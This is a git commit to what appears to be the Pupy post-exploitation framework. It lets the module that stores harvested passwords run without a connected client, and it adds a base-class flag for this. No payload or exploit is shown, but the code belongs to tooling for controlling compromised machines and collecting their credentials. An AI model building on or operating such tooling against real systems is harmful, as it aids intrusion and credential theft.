allow to run creds module without any client connected

This commit is contained in:
n1nj4sec 2016-08-27 12:21:41 +02:00
parent f47f8c5581
commit 958432d5d8
3 changed files with 14 additions and 10 deletions

View File

@ -8,6 +8,7 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
@config(category="creds")
class Creds(PupyModule):
""" database containing all passwords found """
need_at_least_one_client=False
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="Creds", description=self.__doc__)

View File

@ -585,13 +585,15 @@ class PupyCmd(cmd.Cmd):
except PupyModuleExit:
return
l=self.pupsrv.get_clients(selected_clients)
if not l:
if not self.pupsrv.clients:
self.display_error("no clients currently connected")
else:
self.display_error("no clients match this search!")
return
l=[None]
if mod.need_at_least_one_client:
l=self.pupsrv.get_clients(selected_clients)
if not l:
if not self.pupsrv.clients:
self.display_error("no clients currently connected")
else:
self.display_error("no clients match this search!")
return
if mod.max_clients!=0 and len(l)>mod.max_clients:
self.display_error("This module is limited to %s client(s) at a time and you selected %s clients"%(mod.max_clients, len(l)))

View File

@ -67,12 +67,13 @@ class PupyModule(object):
daemon_script -> script that will continue running in background once started
"""
max_clients=0 #define on how much clients you module can be run in one command. For example an interactive module should be 1 client max at a time. set to 0 for unlimited
need_at_least_one_client=True #set to False if your module doesn't need any client connected
daemon=False #if your module is meant to run in background, set this to True and override the stop_daemon method.
unique_instance=False # if True, don't start a new module and use another instead
dependencies=[] #dependencies to push on the remote target. same as calling self.client.load_package
compatible_systems=[] #should be changed by
category="general" # to sort modules by categories
tags=[] # to add search keywords
compatible_systems=[] #should be changed by decorator @config
category="general" # to sort modules by categories. should be changed by decorator @config
tags=[] # to add search keywords. should be changed by decorator @config
def __init__(self, client, job, formatter=None, stdout=None):
""" client must be a PupyClient instance """